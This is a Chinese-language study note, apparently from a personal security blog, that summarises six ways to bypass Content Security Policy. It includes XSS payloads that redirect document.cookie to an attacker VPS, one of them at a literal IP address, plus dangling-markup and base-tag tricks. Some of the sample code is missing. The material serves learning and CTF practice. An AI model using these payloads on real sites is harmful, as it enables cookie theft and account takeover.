绕过CSP的一些方法
以下方法均是我根据几位师傅的文章加自己本地实验之后总结出来的方法,对于某些在本地无法实验或者实验不成功的这里不做记录。
# location跳转绕过
适用条件:
- 浏览器可以执行JS脚本,但是由于CSP的原因无法将数据外带(通常情况下 script-src 为 'unsafe-inline')
实验代码如下
由于策略指令的问题,我们的内嵌JS脚本可以被浏览器执行,但是无法将COOKIE向外部传输。但是大部分CSP不会限制跳转,所以可以利用跳转将CSP带到我们的远程VPS上
<script>location.href='http://[VPS-IP]/cookie/'%2bdocument.cookie</script>
跳转成功之后即可在VPS的日志文件中拿到COOKIE
# iframe标签绕过
适用条件:
- A页面做了CSP防护,但是与之同源的B页面没有,就可以在B页面通过iframe用JS操作A页面的dom
实验代码如下
A页面:
B页面:
可以看到,由于A页面的策略指令为 default-src 'self' 这个时候我们输入的JS代码将会被浏览器拦截,但是这种情况下可以在没有做CSP防护的B页面操作A页面的dom来带出COOKIE
# base标签绕过
适用条件:
- script-src采用了nonce-xxxx,且default-src没有额外设置base-uri,就可以适用<base>标签来指定上下文相对路径的基准为自己的VPS
实验代码如下
在本地有个1.js
?test=<base herf='http://127.0.0.1'><script nonce='xxxx' src='1.js'></script>
引入之后,造成XSS
# 不完整的script标签绕过
适用条件:
- 可控的输入点在合法的<script>标签上方并且中间没有其他标签的干扰、CSP的script-src只采用nonce的方式
注意:此方法在Chrome测试无效,以下实验均在Firefox中测试
实验代码:
由于一个简单的过滤函数存在,我们无法直接自定义一个合法的script标签,但是我们可以利用原本已经存在的合法script标签来将cookie带出
?test=<script src=data://text/plain,location.href='http://112.124.27.13/cookie/'%2bdocument.cookie a=123 a=
这样和下面合法script标签拼接起来就是
<script src=data://text/plain,location.href='http://112.124.27.13/cookie/'%2bdocument.cookie a=123 a=<script nonce="xxxx">····</script>
成功将我们输入的不完整的script标签拼接成完整的、合法化的标签
# 利用不完整的标签绕过
某些网站有时候可能会引入外部图片且对外部图片没有限制,先看下面的实验代码
其中一项策略指令为 image-src * 即对外部图片的来源没有限制,这个时候有没有什么办法将下面的flag带出呢?
<img src="http://[VPS-IP]/flag/
与下面拼接起来就是
<img src="http://[VPS-IP]/flag/flag{xxxxxxxxxxxxx}
id="123"
2
由于payload只有一个引号,所以img标签的src属性会向后找引号用来闭合前面的引号,这样flag就被带出到的VPS的日志中了
# svg标签绕过
适用条件:
- 可以上传文件且没有过滤svg
svg标签中可以执行JS代码,可以通过一个正常的svg文件中嵌套恶意的JS代码来进行XSS
# 参考
以上6点绕过方法并不是特别全面,以后碰到新的经过本地实验之后会进行补充
参考文章
- evoA:我的CSP绕过思路及总结
- 知乎二向箔安全学院:CTF|有关CSP绕过的方法